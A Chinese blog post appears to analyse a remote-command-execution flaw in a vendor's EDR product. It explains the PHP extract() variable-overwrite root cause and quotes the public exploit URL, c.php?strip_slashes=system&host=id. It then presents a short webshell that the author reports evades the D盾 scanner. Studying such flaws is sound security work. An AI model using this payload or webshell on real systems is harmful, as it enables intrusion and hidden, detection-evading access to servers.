某X服EDR审计
代码审计
序
最近hw的举行区间,某服爆出一起神奇的漏洞。那咱就对他的代码分析分析是怎么产生的这个漏洞点。
- 据网上公开的paylaod显示,该漏洞利用方式难度较低。
https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=id
原代码分析
php变量覆盖
应为这个漏洞点源自于php中的变量覆盖,也就是自定义的参数值替换原有变量值的情况,也称为变量覆盖漏洞。
<?php
$a = 1; //原变量值为1
extract(array('a' => '3'));//经过extract()函数对$b处理后
echo $a; //输出结果为3
?>
extract变量覆盖
根据payload分析,该漏洞点定存在于c.php代码中,首先先看下show_form函数。不难发现show_form的所接受的参数$params可以被extract函数进行变量覆盖。
可变量输入
那既然extract可以进行变量覆盖,所以就要寻找show_form($params)所接受的参数是否为可变量,或如何构造可变量。接着往下走$show_form($_REQUEST)这段函数让$params成为可能。
命令执行
既然已经有了可控变量,那如何构造出所需的payload?$strip_slashes($host)该函数其实已经帮我们完成了构造,直接用即可。在传入所需参数后该函数就变为system(id),所以只需变host即可。
免杀webshell
既然知道了原理,就顺手写一个webshell看看其是否拥有免杀功能。哈哈哈。
<?php
function kk($params){
extract($params);
$qq($jj);
};
kk($_REQUEST);
?>
D盾测试,效果还可以。
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!